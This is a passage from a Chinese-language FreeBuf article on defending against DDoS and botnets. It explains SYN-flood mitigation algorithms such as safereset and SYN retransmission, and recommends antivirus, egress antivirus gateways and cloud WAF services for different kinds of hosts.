(3)safereset算法:此算法对所有的syn包均主动回应,探测包特意构造错误的字段,真实存在的IP地址会发送rst包给防护设备,然后发起第2次连接

(4)syn重传算法:该算法利用了TCP/IP协议的重传特性,来自某个源IP的第一个syn包到达时被直接丢弃并记录状态,在该源IP的第2个syn包到达时进行验证,然后放行

如果可以,尽量在购买设备的前,需要问清楚其原理,当然建议购买国外设备,比较靠谱。

如果是windows客户端可以安装基于云查杀的杀毒软件(包含沙箱技术的)。能快速帮助你定位内部RAT恶意软件,如果是linux客户端,那建议在网络出口安装防毒墙,查看是否存在僵尸网络外联等情况。

如果是云主机并且是linux服务器,这种情况(公有云是无法安装硬件设备),建议使用云WAF产品,例如安全宝等,只是要更改DNS,所有攻击线经过云安全厂商的CDN进行数据清洗,防止DDoS攻击。

* 作者:bt0sea,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

发表评论

已有 5 条评论

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php